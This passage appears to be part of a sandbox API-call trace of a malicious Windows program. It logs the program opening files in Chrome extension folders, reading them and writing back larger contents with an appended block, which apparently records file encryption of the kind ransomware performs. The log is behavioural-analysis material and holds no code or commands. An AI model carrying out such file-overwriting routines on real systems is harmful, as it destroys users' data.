hTemplateFile=0x0) returned 0x1ac [0051.790] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.790] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x289 [0051.790] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.790] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.790] ReleaseMutex (hMutex=0x128) returned 1 [0051.790] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.790] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.790] ReadFile (in: hFile=0x1ac, lpBuffer=0x2629ec8, nNumberOfBytesToRead=0x289, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2629ec8*, lpNumberOfBytesRead=0x2b0f2bc*=0x289, lpOverlapped=0x0) returned 1 [0051.792] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0051.792] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x811, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2b0f2d0*=0x811, lpOverlapped=0x0) returned 1 [0051.792] CloseHandle (hObject=0x1ac) returned 1 [0051.792] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.793] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.793] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x138 [0051.793] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.793] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.793] ReleaseMutex (hMutex=0x128) returned 1 [0051.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.793] ReadFile (in: hFile=0x1ac, lpBuffer=0x253cad8, nNumberOfBytesToRead=0x138, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253cad8*, lpNumberOfBytesRead=0x2b0f2bc*=0x138, lpOverlapped=0x0) returned 1 [0051.794] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0051.794] WriteFile (in: hFile=0x1ac, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x6c0, lpOverlapped=0x0) returned 1 [0051.795] CloseHandle (hObject=0x1ac) returned 1 [0051.795] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.796] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.796] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xea [0051.797] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.797] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.797] ReleaseMutex (hMutex=0x128) returned 1 [0051.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.797] ReadFile (in: hFile=0x1ac, lpBuffer=0x2737c58, nNumberOfBytesToRead=0xea, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737c58*, lpNumberOfBytesRead=0x2b0f2bc*=0xea, lpOverlapped=0x0) returned 1 [0051.798] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0051.798] WriteFile (in: hFile=0x1ac, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x672, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x672, lpOverlapped=0x0) returned 1 [0051.798] CloseHandle (hObject=0x1ac) returned 1 [0051.798] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.798] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.798] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xee [0051.798] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.798] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.799] ReleaseMutex (hMutex=0x128) returned 1 [0051.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.799] ReadFile (in: hFile=0x1ac, lpBuffer=0x2737c58, nNumberOfBytesToRead=0xee, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737c58*, lpNumberOfBytesRead=0x2b0f2bc*=0xee, lpOverlapped=0x0) returned 1 [0051.799] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0051.799] WriteFile (in: hFile=0x1ac, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x676, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x676, lpOverlapped=0x0) returned 1 [0051.800] CloseHandle (hObject=0x1ac) returned 1 [0051.800] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.800] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.800] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xea [0051.800] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.800] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.800] ReleaseMutex (hMutex=0x128) returned 1 [0051.800] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.800] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.800] ReadFile (in: hFile=0x1ac, lpBuffer=0x2737c58, nNumberOfBytesToRead=0xea, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737c58*, lpNumberOfBytesRead=0x2b0f2bc*=0xea, lpOverlapped=0x0) returned 1 [0051.802] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0051.802] WriteFile (in: hFile=0x1ac, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x672, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x672, lpOverlapped=0x0) returned 1 [0051.802] CloseHandle (hObject=0x1ac) returned 1 [0051.802] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.802] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.802] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xa89c [0051.802] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.802] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.802] ReleaseMutex (hMutex=0x128) returned 1 [0051.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background_script.js", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0051.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background_script.js", cchWideChar=20, lpMultiByteStr=0x1e7894c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="background_script.js", lpUsedDefaultChar=0x0) returned 20 [0051.803] ReadFile (in: hFile=0x1ac, lpBuffer=0x26147a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x26147a8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0051.804] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x989c [0051.804] ReadFile (in: hFile=0x1ac, lpBuffer=0x261c808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x261c808*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.804] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x989c [0051.805] WriteFile (in: hFile=0x1ac, lpBuffer=0x26187d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x26187d8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.805] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0051.805] WriteFile (in: hFile=0x1ac, lpBuffer=0x26187d8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x26187d8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0051.805] CloseHandle (hObject=0x1ac) returned 1 [0051.805] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.806] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.806] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x828 [0051.806] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.806] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.806] ReleaseMutex (hMutex=0x128) returned 1 [0051.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="index.html", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0051.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="index.html", cchWideChar=10, lpMultiByteStr=0x1e6314c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="index.html", lpUsedDefaultChar=0x0) returned 10 [0051.806] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dc0738, nNumberOfBytesToRead=0x828, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesRead=0x2b0f2bc*=0x828, lpOverlapped=0x0) returned 1 [0051.808] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0051.808] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2b0f2d0*=0xdb0, lpOverlapped=0x0) returned 1 [0051.808] CloseHandle (hObject=0x1ac) returned 1 [0051.808] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.809] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.809] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x46039 [0051.809] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.809] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.809] ReleaseMutex (hMutex=0x128) returned 1 [0051.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="material_css_min.css", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0051.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="material_css_min.css", cchWideChar=20, lpMultiByteStr=0x1e7894c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="material_css_min.css", lpUsedDefaultChar=0x0) returned 20 [0051.809] ReadFile (in: hFile=0x1ac, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0051.811] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x45039 [0051.811] ReadFile (in: hFile=0x1ac, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.812] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x45039 [0051.813] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.813] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0051.813] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0051.813] CloseHandle (hObject=0x1ac) returned 1 [0051.813] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.814] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.814] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x4029 [0051.814] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.814] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.814] ReleaseMutex (hMutex=0x128) returned 1 [0051.814] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.814] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.814] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.815] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3029 [0051.815] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.816] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3029 [0051.816] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.816] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0051.816] WriteFile (in: hFile=0x1ac, lpBuffer=0x261c838*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261c838*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.817] CloseHandle (hObject=0x1ac) returned 1 [0051.817] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 